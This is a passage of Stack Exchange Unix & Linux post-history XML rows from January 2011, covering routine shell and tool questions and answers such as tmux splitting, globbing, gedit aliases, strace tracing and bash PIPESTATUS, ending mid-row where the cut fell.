  <row Id="13757" PostHistoryTypeId="2" PostId="6071" RevisionGUID="7bc84f11-862a-44ef-b983-0c2563aff791" CreationDate="2011-01-18T19:53:13.353" UserId="872" Text="You haven't got `inotify` so you can write a script that checks for the file in a loop:&#xD;&#xA;&#xD;&#xA;    #!/bin/sh&#xD;&#xA;    &#xD;&#xA;    while [ true ]; do                     # Run for as long as nessesary&#xD;&#xA;      if [ -f /path/to/file ]; then        # If fileexists&#xD;&#xA;        echo &quot;Found file&quot;                  # Notify and stop monitoring&#xD;&#xA;        exit 0&#xD;&#xA;      fi&#xD;&#xA;      sleep 5                             # Else wait 5 secs&#xD;&#xA;    done" />
  <row Id="13758" PostHistoryTypeId="25" PostId="6068" RevisionGUID="c9bb6019-a3a8-4662-aa4e-f4529a34d0fe" CreationDate="2011-01-18T19:55:41.307" Comment="http://twitter.com/#!/StackUnix/status/27454095988097026" />
  <row Id="13759" PostHistoryTypeId="2" PostId="6072" RevisionGUID="af84e3bf-6e2a-4f31-ba8b-798f1a91c019" CreationDate="2011-01-18T19:55:57.547" UserId="688" Text="I just saw the option `--multifile` on the manpage:&#xD;&#xA;&#xD;&#xA;&gt; This  modifies  certain other commands to accept multiple files for processing on the command line or read from STDIN with each filename on a separate line. This allows for many files to be processed at once. --multi‐&#xD;&#xA;              file may currently be used along with --verify, --encrypt, and --decrypt. Note that --multifile --verify may not be used with detached signatures.&#xD;&#xA;&#xD;&#xA;What you are specifically looking for is `--encrypt-files` and, again the manpage:&#xD;&#xA;&#xD;&#xA;&gt; Identical to --multifile --encrypt.&#xD;&#xA;" />
  <row Id="13760" PostHistoryTypeId="5" PostId="6061" RevisionGUID="a3e63762-416e-41fa-9e34-ace1d52dfa30" CreationDate="2011-01-18T19:59:38.063" UserId="1919" Comment="added 62 characters in body" Text="I wrote a small python script to figure out the proper window sizes&#xD;&#xA;&#xD;&#xA;    #!/usr/bin/env python&#xD;&#xA;    # run several commands in a split screen using tmux&#xD;&#xA;    import sys, os&#xD;&#xA;    &#xD;&#xA;    def quote_cmd(cmd): return cmd.replace(r&quot;'&quot;, r&quot;\'&quot;)&#xD;&#xA;    def run(cmd): print &quot;$&quot;, cmd; os.system(cmd)&#xD;&#xA;    &#xD;&#xA;    cmds = [quote_cmd(c) for c in sys.argv[1:]]&#xD;&#xA;    if not cmds: os.exit(0)&#xD;&#xA;    def split_size(n): return round((1 - (1.0/n)) * 100)&#xD;&#xA;    tmuxcmd = &quot;tmux new-session '%s;'&quot; % cmds[0]&#xD;&#xA;    for i, cmd in enumerate(cmds[1:]):&#xD;&#xA;        tmuxcmd += &quot; split-window -p %d '%s;'&quot; % (split_size(len(cmds) - i), cmd)&#xD;&#xA;    tmuxcmd += &quot; attach&quot;&#xD;&#xA;    run(tmuxcmd)&#xD;&#xA;&#xD;&#xA;usage:&#xD;&#xA;&#xD;&#xA;    splitw 'cmd1' 'cmd2' 'cmd3' # ... etc&#xD;&#xA;&#xD;&#xA;EDIT:&#xD;&#xA;&#xD;&#xA;Now a github gist: https://gist.github.com/785030" />
  <row Id="13761" PostHistoryTypeId="2" PostId="6073" RevisionGUID="0f235b7c-c88e-42c7-b3ac-1bcc072c1d59" CreationDate="2011-01-18T20:10:16.210" UserId="3069" Text="Make sure, that the `function editorz()` is defined before the alias.&#xD;&#xA;&#xD;&#xA;I've tried your approach and it worked without a problem." />
  <row Id="13762" PostHistoryTypeId="2" PostId="6074" RevisionGUID="226592f9-8977-4375-be5a-f5235131d7a9" CreationDate="2011-01-18T20:13:41.023" UserId="2175" Text="You could use a script like this: &#xD;&#xA;&#xD;&#xA;    START=c&#xD;&#xA;    END=q&#xD;&#xA;    ls | egrep ^[$START-$END].*&#xD;&#xA;&#xD;&#xA;this would select all files that start with c through q. &#xD;&#xA;&#xD;&#xA;sample output: &#xD;&#xA;&#xD;&#xA;    [gbeech@svr01 test]$ echo  ^[$START-$END].*&#xD;&#xA;    ^[c-q].*&#xD;&#xA;    [gbeech@svr01 test]$ ls | egrep ^[$START-$END].*&#xD;&#xA;    cfile&#xD;&#xA;    ffile&#xD;&#xA;    ffile2&#xD;&#xA;    qfile&#xD;&#xA;&#xD;&#xA;it could also be expanded to limit the grep, in just about any way you can adjust a regex to do. &#xD;&#xA;&#xD;&#xA;" />
  <row Id="13763" PostHistoryTypeId="2" PostId="6075" RevisionGUID="67dd3497-454b-4c46-9edf-ccf0ef0c5770" CreationDate="2011-01-18T20:20:59.117" UserId="73" Text="I'm looking into encrypting my home folder with Truecrypt, and mounting it after I've logged in, which should be pretty straightforward. However, it occurred to me that it should be theoretically possible to mount it *as* I'm logging in, as long as my account password is the same as my Truecrypt password. Is there a way to get PAM to run a command on login and pass the command my password as an argument? Or is there some other way to accomplish the same effect, without me needing to provide the password multiple times?&#xD;&#xA;" />
  <row Id="13764" PostHistoryTypeId="1" PostId="6075" RevisionGUID="67dd3497-454b-4c46-9edf-ccf0ef0c5770" CreationDate="2011-01-18T20:20:59.117" UserId="73" Text="Automatically mount encrypted home folder on login" />
  <row Id="13765" PostHistoryTypeId="3" PostId="6075" RevisionGUID="67dd3497-454b-4c46-9edf-ccf0ef0c5770" CreationDate="2011-01-18T20:20:59.117" UserId="73" Text="éencryptionàépamàétruecryptàéhomeà" />
  <row Id="13766" PostHistoryTypeId="5" PostId="4305" RevisionGUID="71f32aa2-b50c-4475-a0c6-0f12961d0393" CreationDate="2011-01-18T20:46:29.080" UserId="688" Comment="deleted 76 characters in body; edited tags; deleted 36 characters in body; added 2 characters in body" Text="I'm running GNOME 2.30 (Squeeze) and have lost my Volume Control applet. I can't find it in my __Add to Panel__ window.&#xD;&#xA;&#xD;&#xA;![alt text][1]&#xD;&#xA;&#xD;&#xA;&lt;br/&gt;&#xD;&#xA;[__update__] Note that the Volume Control applet appears again in the window, and I have no idea what fixed the issue.&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/RtlDV.png&#xD;&#xA;  [2]: http://unix.stackexchange.com/questions/4305/how-to-get-gnome-volume-applet-back/4308#4308" />
  <row Id="13767" PostHistoryTypeId="6" PostId="4305" RevisionGUID="71f32aa2-b50c-4475-a0c6-0f12961d0393" CreationDate="2011-01-18T20:46:29.080" UserId="688" Comment="deleted 76 characters in body; edited tags; deleted 36 characters in body; added 2 characters in body" Text="édebianàégnomeà" />
  <row Id="13768" PostHistoryTypeId="2" PostId="6076" RevisionGUID="50d6a289-a157-4066-a5dd-92b8ff3629b7" CreationDate="2011-01-18T20:49:50.433" UserId="732" Text="How about using the shell's built in globbing?&#xD;&#xA;&#xD;&#xA;    LETTER=c; echo [$LETTER-z]*&#xD;&#xA;&#xD;&#xA;That worked in bash and ksh for me." />
  <row Id="13769" PostHistoryTypeId="2" PostId="6077" RevisionGUID="af2da673-5a84-46f7-8e5c-7693825559f8" CreationDate="2011-01-18T20:51:11.793" UserId="3069" Text="If you don't want to spend too much time configuring a traffic shaper, try the `transmission` builtin temporary speed limit feature (which can also be scheduled).&#xD;&#xA;&#xD;&#xA;![alt text][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/4WJZL.png&#xD;&#xA;&#xD;&#xA;You can activate or deactivate it over the indicator applet." />
  <row Id="13770" PostHistoryTypeId="6" PostId="3063" RevisionGUID="d3c5937d-10eb-48b0-a4be-7c476af115a0" CreationDate="2011-01-18T20:52:27.400" UserId="298" Comment="added tag" Text="ésudoàérootàéadministrationà" />
  <row Id="13771" PostHistoryTypeId="2" PostId="6078" RevisionGUID="6e7829aa-dffd-4dcb-b11a-a6889abb6938" CreationDate="2011-01-18T21:01:53.933" UserId="885" Text="It's actually very simple:&#xD;&#xA;&#xD;&#xA;    echo [$LETTER-z]*&#xD;&#xA;&#xD;&#xA;If you want case-sensitivity:&#xD;&#xA;&#xD;&#xA;    echo [$(echo &quot;$LETTER&quot; | tr a-z A-Z)-Z$LETTER-z]*&#xD;&#xA;&#xD;&#xA;This works because the shell performs [parameter expansion](http://pubs.opengroup.org/onlinepubs/009695399/utilities/xcu_chap02.html#tag_02_06_02) before [pathname expansion](http://pubs.opengroup.org/onlinepubs/009695399/utilities/xcu_chap02.html#tag_02_06_06) (i.e. globbing).&#xD;&#xA;" />
  <row Id="13772" PostHistoryTypeId="6" PostId="6066" RevisionGUID="15920406-ad72-41b3-9f9a-a481eb127ae2" CreationDate="2011-01-18T21:02:14.073" UserId="885" Comment="edited tags" Text="éshellàéwildcardsà" />
  <row Id="13773" PostHistoryTypeId="2" PostId="6079" RevisionGUID="dd2cf7d2-9b1a-4a8e-bea3-4966e397448c" CreationDate="2011-01-18T21:14:06.710" UserId="885" Text="That should work: are you sure your `.bash_aliases` is read? (It's not a standard file, but it might be sourced by your `~/.bashrc`. If you're confused about `.bashrc` and `.bash_profile`, see [Difference between .bashrc and .bash_profile](http://superuser.com/questions/183870/difference-between-bashrc-and-bash-profile).)&#xD;&#xA;&#xD;&#xA;There's a bug in your function: it should be&#xD;&#xA;&#xD;&#xA;    editorz () {&#xD;&#xA;      gedit &quot;$@&quot; &amp; disown&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Your version doesn't work on file names containing spaces or shell wildcards. The `function` keyword is optional.&#xD;&#xA;&#xD;&#xA;You can call the function `gedit` (and dispense with the alias altogether), but then you need to tell the shell that the call inside the function is to the command and not to the function:&#xD;&#xA;&#xD;&#xA;    gedit () {&#xD;&#xA;      command gedit &quot;$@&quot; &amp; disown&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Note that if you've accidentally started gedit in the foreground (i.e. locking your terminal), you can put it in the background by pressing &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Z&lt;/kbd&gt; in the terminal, and entering the command `bg`.&#xD;&#xA;" />
  <row Id="13774" PostHistoryTypeId="5" PostId="6063" RevisionGUID="b620fdf5-97fb-45a8-a10d-bc198410ce28" CreationDate="2011-01-18T21:15:00.110" UserId="885" Comment="formatting; tags" Text="When I `gedit` files from the command line, it's always locking the terminal, and I'm tired of explicitly commanding a detached process for it.&#xD;&#xA;&#xD;&#xA;I tried to alias `gedit` as something like `gedit $* &amp; disown`, but either that's not the right syntax or you're not allowed to overload executable binary commands with aliases (tried using that in a .bash_aliases function, &#xD;&#xA;&#xD;&#xA;    alias gedit=editorz&#xD;&#xA;&#xD;&#xA;    function editorz()&#xD;&#xA;    {&#xD;&#xA;      gedit $* &amp; disown&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;), but it doesn't take.&#xD;&#xA;&#xD;&#xA;So how do I make the command `gedit test.txt` not lock the originating terminal window?&#xD;&#xA;" />
  <row Id="13775" PostHistoryTypeId="6" PostId="6063" RevisionGUID="b620fdf5-97fb-45a8-a10d-bc198410ce28" CreationDate="2011-01-18T21:15:00.110" UserId="885" Comment="formatting; tags" Text="éshellàéterminalàéaliasàéjoböcontrolà" />
  <row Id="13776" PostHistoryTypeId="6" PostId="6069" RevisionGUID="4ca801bf-01e8-415d-9a09-088f0e25e207" CreationDate="2011-01-18T21:19:24.393" UserId="885" Comment="edited tags" Text="édirectoryàéencryptionàégpgà" />
  <row Id="13777" PostHistoryTypeId="5" PostId="5508" RevisionGUID="e694971a-6106-4a05-af85-e7498eed432a" CreationDate="2011-01-18T21:21:14.383" UserId="688" Comment="deleted 39 characters in body" Text="Go for Debian Squeeze:&#xD;&#xA;&#xD;&#xA;* __life__: It's planned to be released [February 2011][1]. Therefore the support will last a number of years from now, while an old release's support is a year from the moment it becomes obsoleted.&#xD;&#xA;* __stability__: It has [less RC][2] bugs than [Lenny][3].&#xD;&#xA;* __packages__: Each release of Debian has more packages than the last. Note that some packages are removed from release, for various reasons (EG: death of software, stability, security).&#xD;&#xA;* __kernels__: I guess the newer the kernel, the better ([2.6.26][4] vs. [2.6.32][5]).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://lists.debian.org/debian-devel-announce/2011/01/msg00003.html&#xD;&#xA;  [2]: http://udd.debian.org/bugs.cgi?release=squeeze&amp;merged=ign&amp;fnewerval=7&amp;rc=1&amp;sortby=id&amp;sorto=asc&#xD;&#xA;  [3]: http://udd.debian.org/bugs.cgi?release=lenny&amp;merged=ign&amp;fnewerval=7&amp;rc=1&amp;sortby=id&amp;sorto=asc&#xD;&#xA;  [4]: http://packages.debian.org/source/stable/linux-2.6&#xD;&#xA;  [5]: http://packages.debian.org/source/testing/linux-2.6" />
  <row Id="13778" PostHistoryTypeId="6" PostId="6068" RevisionGUID="f2c65bd8-7c6b-4653-b55a-7476a769a3d8" CreationDate="2011-01-18T21:24:15.480" UserId="885" Comment="edited tags" Text="éfilesàémonitoringà" />
  <row Id="13779" PostHistoryTypeId="2" PostId="6080" RevisionGUID="d7986108-df76-43e7-b1a6-9f9599f1789e" CreationDate="2011-01-18T21:30:21.150" UserId="885" Text="You can watch everything that happens on a filesystem by accessing it over [LoggedFS](http://loggedfs.sourceforge.net/). This is a [stacked filesystem](http://fuse.sourceforge.net/) that logs every access in a directory tree.&#xD;&#xA;&#xD;&#xA;    loggedfs -l /var/tmp/$USER-home-fs.log ~&#xD;&#xA;&#xD;&#xA;Logging your whole home directory might slow your system down though. You'll at least want to write a configuration file with stringent filters.&#xD;&#xA;" />
  <row Id="13780" PostHistoryTypeId="2" PostId="6081" RevisionGUID="7ae1dc98-0e8b-44fd-ab9f-f54ec4d03c56" CreationDate="2011-01-18T21:32:54.497" UserId="1375" Text="Coming from Mac OS X, I've enjoyed being able to cut/copy/paste text to and from its built in Terminal application.&#xD;&#xA;&#xD;&#xA;Now, I am planning to migrate to a tiling window manager like scrotwm, xmonad, etc., but all I've got right now is xTerm. I can't get it to accept cut/paste. Is there another terminal emulator that accepts cut and paste from other programs' windows?&#xD;&#xA;&#xD;&#xA;(by the way, I hope the encoding will support UTF-8)" />
  <row Id="13781" PostHistoryTypeId="1" PostId="6081" RevisionGUID="7ae1dc98-0e8b-44fd-ab9f-f54ec4d03c56" CreationDate="2011-01-18T21:32:54.497" UserId="1375" Text="Simple terminal emulator that supports cut/paste with other programs?" />
  <row Id="13782" PostHistoryTypeId="3" PostId="6081" RevisionGUID="7ae1dc98-0e8b-44fd-ab9f-f54ec4d03c56" CreationDate="2011-01-18T21:32:54.497" UserId="1375" Text="éterminalàéwindowömanageràécopyöpasteàétilingöwmàécutà" />
  <row Id="13783" PostHistoryTypeId="2" PostId="6082" RevisionGUID="dd5e0498-ac49-402b-9c67-95012b6c58ba" CreationDate="2011-01-18T21:45:43.487" UserId="885" Text="Make your shell change the window title every time it changes directory, or every time it displays a prompt.&#xD;&#xA;&#xD;&#xA;For your `~/.bashrc`:&#xD;&#xA;&#xD;&#xA;    if [ &quot;$TERM&quot; = &quot;screen&quot; ]; then&#xD;&#xA;      screen_set_window_title () {&#xD;&#xA;        local HPWD=&quot;$PWD&quot;&#xD;&#xA;        case $HPWD in&#xD;&#xA;          $HOME) HPWD=&quot;~&quot;;;&#xD;&#xA;          $HOME/*) HPWD=&quot;~${HPWD#$HOME}&quot;;;&#xD;&#xA;        esac&#xD;&#xA;        printf '\ek%s\e\\' &quot;$HPWD&quot;&#xD;&#xA;      }&#xD;&#xA;      PROMPT_COMMAND=&quot;$PROMPT_COMMAND;screen_set_window_title&quot;&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;Or for your `~/.zshrc` (for zsh users):&#xD;&#xA;&#xD;&#xA;    precmd () {&#xD;&#xA;      local tmp='%~'&#xD;&#xA;      local HPWD=${(%)tmp}&#xD;&#xA;      if [[ $TERM = screen ]]; then&#xD;&#xA;        printf '\ek%s\e\\' $HPWD&#xD;&#xA;      fi&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;For more information, look up under [Dynamic titles](http://www.gnu.org/software/screen/manual/screen.html#Dynamic-Titles) in the Screen manual, or under “Titles (naming windows)” in the man page.&#xD;&#xA;" />
  <row Id="13784" PostHistoryTypeId="6" PostId="6081" RevisionGUID="05c4f93c-4939-4073-bba7-5567f267c0b6" CreationDate="2011-01-18T21:53:11.263" UserId="885" Comment="edited tags" Text="éx11àéxtermàécopyöpasteà" />
  <row Id="13785" PostHistoryTypeId="6" PostId="6010" RevisionGUID="81fede63-1feb-4c0d-8964-b1cc504d5850" CreationDate="2011-01-18T21:54:35.707" UserId="885" Comment="edited tags" Text="écolorsàémanàégentooàélessàétermcapà" />
  <row Id="13786" PostHistoryTypeId="6" PostId="6035" RevisionGUID="36dec548-090c-44e3-8328-732f44c8f7da" CreationDate="2011-01-18T21:57:09.713" UserId="885" Comment="edited tags" Text="ébashàéshellà" />
  <row Id="13787" PostHistoryTypeId="6" PostId="6053" RevisionGUID="77b59dd9-c813-4105-b8d2-0e4c1968ea94" CreationDate="2011-01-18T21:59:15.577" UserId="885" Comment="edited tags" Text="érsyncà" />
  <row Id="13788" PostHistoryTypeId="5" PostId="6053" RevisionGUID="674ceacc-3e93-4e28-a162-284d72125646" CreationDate="2011-01-18T22:04:40.657" UserId="3069" Comment="deleted 7 characters in body" Text="Is it possible to name the full path to source directory in rsync command instead of the name of the module.  &#xD;&#xA;&#xD;&#xA;For example:&#xD;&#xA;&#xD;&#xA;    rsync -av rsync://10.171.73.23/home/user/work/tests .&#xD;&#xA;&#xD;&#xA;instead of :&#xD;&#xA;&#xD;&#xA;    rsync -av rsync://10.171.73.23/ftp/work/tests .&#xD;&#xA;&#xD;&#xA;(ftp is a module from /etc/rstncd.conf) &#xD;&#xA;&#xD;&#xA;When trying the first version I get `'@ERROR: Unknown module 'home''`&#xD;&#xA;" />
  <row Id="13789" PostHistoryTypeId="5" PostId="6010" RevisionGUID="58596955-b26c-40f5-8a70-a9bd2f241e8d" CreationDate="2011-01-18T22:11:42.547" UserId="2416" Comment="added 46 characters in body; deleted 7 characters in body" Text="I have a problem using this methods [1][1] to get colors in my man pages in gentoo. I already in the gentoo forums but it still doesn't work, and the comments in a bug report (Bug 184604) doesn't work either. Can someone help me to get colours in my man pages?&#xD;&#xA;&#xD;&#xA;EDIT&#xD;&#xA;Yes, I'm using less as pager and urxvt-unicode as terminal emulator&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/119/colors-in-man-pages" />
  <row Id="13790" PostHistoryTypeId="2" PostId="6083" RevisionGUID="f10388c7-a531-4d8b-b12d-b6739a6fc780" CreationDate="2011-01-18T22:12:44.000" UserId="885" Text="It's not directly about Debian vs Ubuntu, it's about [SysVinit](http://en.wikipedia.org/wiki/Sysvinit#SysV-style) vs [Upstart](http://en.wikipedia.org/wiki/Upstart). Debian defaults to SysVinit; you can install Upstart, but you need to know what you're doing, and you should be familiar with it before you even think of installing it on a production server. Although it's theoretically possible to install both, with only one of them running as process number 1, Debian doesn't support this out the box.&#xD;&#xA;&#xD;&#xA;Upstart is younger than SysVinit and has more capabilities, which explains why you can't just take an Upstart service description and feed it to SysVinit. You'll have to write a [script for `/etc/init.d`](http://www.debian.org/doc/debian-policy/ch-opersys.html#s-sysvinit). Basically that script needs to look at its first argument (`$1`) and `start`, `stop` or `restart` the service as directed.&#xD;&#xA;&#xD;&#xA;If you were using Upstart events to determine when to start the script, you'll have to use some other methods. Upstart gathers events from many different sources; you can get the trigger from wherever Upstart gets it, Upstart in this respect is just a convenient way of not having to look for triggers in many different places and protocols.&#xD;&#xA;" />
  <row Id="13791" PostHistoryTypeId="2" PostId="6084" RevisionGUID="ebf97e75-0557-4dac-adce-8bb9a962da74" CreationDate="2011-01-18T22:22:57.513" UserId="885" Text="This big application is issuing external commands via a shell, using `popen` or similar library functions. The intermediate shells remain as zombies (“defunct processes”) because the application isn't calling [`wait`](http://linux.die.net/man/2/waitpid) to “reap” its children. Note that zombie processes are totally harmless (no matter what B-movies might lead you to believe); the only resource they consume is an entry in the process table.&#xD;&#xA;&#xD;&#xA;You can trace what commands the application executes by running&#xD;&#xA;&#xD;&#xA;    strace -f -s99999 -v -eexecve -o big-application.strace ./big-application&#xD;&#xA;&#xD;&#xA;This may slow down your program somewhat. You can switch tracing on and off during the lifetime of a process: to start tracing, run&#xD;&#xA;&#xD;&#xA;    strace -f -s99999 -v -eexecve -o big-application.strace -p 12345&#xD;&#xA;&#xD;&#xA;where 12345 is the process ID you want to trace. Kill the `strace` process (e.g. by pressing &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;C&lt;/kbd&gt;) to stop tracing.&#xD;&#xA;" />
  <row Id="13792" PostHistoryTypeId="5" PostId="6012" RevisionGUID="1e5e8bd4-1397-4eb9-b809-6d4472ef7454" CreationDate="2011-01-18T22:45:02.320" UserId="885" Comment="use shell built-in string management; cope with file names containing special characters" Text="Something like this:&#xD;&#xA;&#xD;&#xA;    for i in *; do mv -- &quot;$i&quot; &quot;$(openssl rand -hex 16).${i##*.}&quot;; done&#xD;&#xA;&#xD;&#xA;Using `openssl rand 16` gives you 128 bit GUIDs. Use 32 if you want 256 bit GUIDs." />
  <row Id="13793" PostHistoryTypeId="5" PostId="6014" RevisionGUID="f84b6443-58f5-4811-9898-8dd0203015de" CreationDate="2011-01-18T22:54:33.900" UserId="885" Comment="`-P` is POSIX, but `-Ph` is GNU; deleted 73 characters in body" Text="The output can be made a bit easier to parse by using the `-P` option which will ensure that:&#xD;&#xA;&#xD;&#xA;&gt; 1. The information about each file system is always printed on&#xD;&#xA;&gt;           exactly one line; a mount device is never put on a line by&#xD;&#xA;&gt;           itself.  This means that if the mount device name is more&#xD;&#xA;&gt;           than 20 characters long (e.g., for some network mounts), the&#xD;&#xA;&gt;           columns are misaligned.&#xD;&#xA;&#xD;&#xA;This makes it much easier to get just the free space available:&#xD;&#xA;&#xD;&#xA;    $ df -Ph . | tail -1 | awk '{print $4}'&#xD;&#xA;&#xD;&#xA;(`-h` uses megabytes, gigabytes and so on. If your system doesn't have it, use `-k` for kilobytes only.)&#xD;&#xA;&#xD;&#xA;If we pass `df` a path, it is only going to return 2 rows: a header row and then the data about the file system that contains the path. We can use tail to grab just the second row.  We know that the space available is in the 4th column, so we grab that with `awk`.  This all could be done with `awk`:&#xD;&#xA;&#xD;&#xA;    $ df -Ph . | awk 'NR==2 {print $4}'&#xD;&#xA;&#xD;&#xA; or many other sets of [filters][1].&#xD;&#xA;&#xD;&#xA;  [1]: http://www.faqs.org/docs/artu/ch11s06.html#id2957637" />
  <row Id="13794" PostHistoryTypeId="25" PostId="6065" RevisionGUID="2b177c92-c7fb-459a-8ff0-85e237e3c8ba" CreationDate="2011-01-18T22:55:41.697" Comment="http://twitter.com/#!/StackUnix/status/27499396279046145" />
  <row Id="13795" PostHistoryTypeId="2" PostId="6085" RevisionGUID="d2e55f92-5180-495d-9933-4995c2542aa0" CreationDate="2011-01-18T23:11:57.440" UserId="210" Text="If I install a binary with non-standard prefix, e.g. `/opt/bin/foo`, which needs some static files from `/opt/share/foo`, how does it find them? Using back references relative to the executable (`../share/foo`)? Hardcoded at compile time?&#xD;&#xA;&#xD;&#xA;What's the *idiomatic* way for an application to handle variable installation prefix? Should all directories be prefixed? (what about `/var`?)" />
  <row Id="13796" PostHistoryTypeId="1" PostId="6085" RevisionGUID="d2e55f92-5180-495d-9933-4995c2542aa0" CreationDate="2011-01-18T23:11:57.440" UserId="210" Text="How do idiomatic Unix programs detect what prefix they are installed under?" />
  <row Id="13797" PostHistoryTypeId="3" PostId="6085" RevisionGUID="d2e55f92-5180-495d-9933-4995c2542aa0" CreationDate="2011-01-18T23:11:57.440" UserId="210" Text="épackagingàésoftwareöinstallationà" />
  <row Id="13798" PostHistoryTypeId="2" PostId="6086" RevisionGUID="b09e9d13-7a40-4d13-b4eb-a9fabbdd8e43" CreationDate="2011-01-18T23:24:39.760" UserId="1131" Text="Unded Unix, there is no portable way to detect from which location the binary was started, i.e. a variable installation prefix is compiled in." />
  <row Id="13799" PostHistoryTypeId="2" PostId="6087" RevisionGUID="8f905d66-1105-4866-8b07-8737df571ffc" CreationDate="2011-01-18T23:27:15.307" UserId="2958" Text="Xfce Terminal Emulator, Konsole, and Gnome Terminal are good terminal emulators, and all are going to have tabs and keyboard shortcuts. The decision is mainly going to come down to which toolkit you like and which dependencies you can live with.&#xD;&#xA;&#xD;&#xA;Xfce Terminal is a personal favorite of mine. It's simpler then the other two, but it's mainly missing profiles, which the other two have, which I don't use. It uses the GTK+ widget toolkit, and it has some dependencies to Xfce.&#xD;&#xA;&#xD;&#xA;Konsole is from the KDE project, and like all things KDE, it has tons of knobs to tweak. At one time it had the distinction of being the fastest terminal emulator due to some intelligence code which cut down on the amount of text written to the screen while scrolling. It relies on the QT widget toolkit, and has dependencies to KDE.&#xD;&#xA;&#xD;&#xA;Gnome Terminal served as the basis for Xfce Terminal, so the preferences look the similar to Xfce Terminal. The biggest difference is the inclusion of profiles. I'm not sure what difference they would make, since I don't use them. It's based on GTK+, and it has dependencies to Gnome.&#xD;&#xA;&#xD;&#xA;I'm sure there are more term emulators out there that are lighter weight, but these are just the ones I'm most familiar with and the ones most Terminal.app like." />
  <row Id="13800" PostHistoryTypeId="2" PostId="6088" RevisionGUID="d70a4a2a-517e-441a-8b2a-1488d49e02ea" CreationDate="2011-01-18T23:31:08.767" UserId="305" Text="I would say that the most common is detecting path provided by `--prefix`. Different paths can be provided by different prefixes and there are separate for system config (&quot;`/etc`&quot;), library directory (&quot;`/usr/lib`&quot;) etc. in autotools&#xD;&#xA;" />
  <row Id="13801" PostHistoryTypeId="2" PostId="6089" RevisionGUID="d9710594-688d-4099-8294-04a67355daaf" CreationDate="2011-01-18T23:38:22.597" UserId="3487" Text="How do I combine bash command grouping and pipe status?&#xD;&#xA;&#xD;&#xA;This is an example command group:&#xD;&#xA;&#xD;&#xA;    { tar -cf - my_folder 2&gt;&amp;1 1&gt;&amp;3 | grep -v &quot;Removing leading&quot; 1&gt;&amp;2; } 3&gt;&amp;1 | gzip --rsyncable &gt; my_file.tar.gz&#xD;&#xA;&#xD;&#xA;&lt;br /&gt;&#xD;&#xA;This is an example pipe status readout to go with the above:&#xD;&#xA;&#xD;&#xA;    [[ ${PIPESTATUS[*]} =~ [1-9] ]] &amp;&amp; rm my_file.tar.gz&#xD;&#xA;&#xD;&#xA;&lt;br /&gt;&#xD;&#xA;In this example, the command group keeps mail spool free of warnings about &quot;Removing leading /&quot; from tar, being delivered via cron because they land on stderr (Unices lack a stdwarn and tar lacks a quiet option).&#xD;&#xA;&#xD;&#xA;The pipe status readout makes sure that corrupt backup files are immediately removed, to prevent a later cleanup from removing older valid files.&#xD;&#xA;&#xD;&#xA;But this example does not work.  In the above, the pipe status contains [1 0], that is, the exit code of grep and gzip, but not tar.&#xD;&#xA;&#xD;&#xA;One attempt I tried was this:&#xD;&#xA;&#xD;&#xA;    { tar -cf - my_folder 2&gt;&amp;1 1&gt;&amp;3 | grep -v &quot;Removing leading&quot; 1&gt;&amp;2; GROUPSTATUS=${PIPESTATUS[0]}; } 3&gt;&amp;1 | gzip --rsyncable &gt; my_file.tar.gz&#xD;&#xA;    [[ $GROUPSTATUS =~ [1-9] ]] &amp;&amp; rm my_file.tar.gz&#xD;&#xA;&#xD;&#xA;But GROUPSTATUS is empty upon leaving the group.&#xD;&#xA;&#xD;&#xA;(Note that by setting GROUPSTATUS to anything other than the pipe's status, eg. a literal of some sort, it can be verified that the variable does in fact escape the command grouping scope under normal circumstances.)&#xD;&#xA;&#xD;&#xA;I've also tried if `return` from within the group can deliver the first pipe component's exit code to the outside, but return inside a command group just yields an error message from bash.&#xD;&#xA;" />
  <row Id="13802" PostHistoryTypeId="1" PostId="6089" RevisionGUID="d9710594-688d-4099-8294-04a67355daaf" CreationDate="2011-01-18T23:38:22.597" UserId="3487" Text="How to combine bash command grouping and pipe status" />
  <row Id="13803" PostHistoryTypeId="3" PostId="6089" RevisionGUID="d9710594-688d-4099-8294-04a67355daaf" CreationDate="2011-01-18T23:38:22.597" UserId="3487" Text="ébashà" />
  <row Id="13804" PostHistoryTypeId="5" PostId="6089" RevisionGUID="705c8dae-aa0f-41bc-92cb-c372a32a1f12" CreationDate="2011-01-18T23:54:22.473" UserId="3487" Comment="added 40 characters in body; added 32 characters in body" Text="How do I combine bash command grouping and pipe status?&#xD;&#xA;&#xD;&#xA;This is an example command group:&#xD;&#xA;&#xD;&#xA;    { tar -cf - my_folder 2&gt;&amp;1 1&gt;&amp;3 | grep -v &quot;Removing leading&quot; 1&gt;&amp;2; } 3&gt;&amp;1 | gzip --rsyncable &gt; my_file.tar.gz&#xD;&#xA;&#xD;&#xA;&lt;br /&gt;&#xD;&#xA;This is an example pipe status readout to go with the above:&#xD;&#xA;&#xD;&#xA;    [[ ${PIPESTATUS[*]} =~ [1-9] ]] &amp;&amp; rm my_file.tar.gz&#xD;&#xA;&#xD;&#xA;&lt;br /&gt;&#xD;&#xA;In this example, the command group keeps mail spool free of warnings about &quot;Removing leading /&quot; from tar, being delivered via cron because they land on stderr (Unices lack a stdwarn and tar lacks a quiet option), while letting real errors pass through.&#xD;&#xA;&#xD;&#xA;The pipe status readout makes sure that corrupt backup files are immediately removed, to prevent a later cleanup using a standard FIFO algorithm from removing older valid files.&#xD;&#xA;&#xD;&#xA;But this example does not work.  In the above, the pipe status contains [1 0], that is, the exit code of grep and gzip, but not tar.&#xD;&#xA;&#xD;&#xA;One attempt I tried was this:&#xD;&#xA;&#xD;&#xA;    { tar -cf - my_folder 2&gt;&amp;1 1&gt;&amp;3 | grep -v &quot;Removing leading&quot; 1&gt;&amp;2; GROUPSTATUS=${PIPESTATUS[0]}; } 3&gt;&amp;1 | gzip --rsyncable &gt; my_file.tar.gz&#xD;&#xA;    [[ $GROUPSTATUS =~ [1-9] ]] &amp;&amp; rm my_file.tar.gz&#xD;&#xA;&#xD;&#xA;But GROUPSTATUS is empty upon 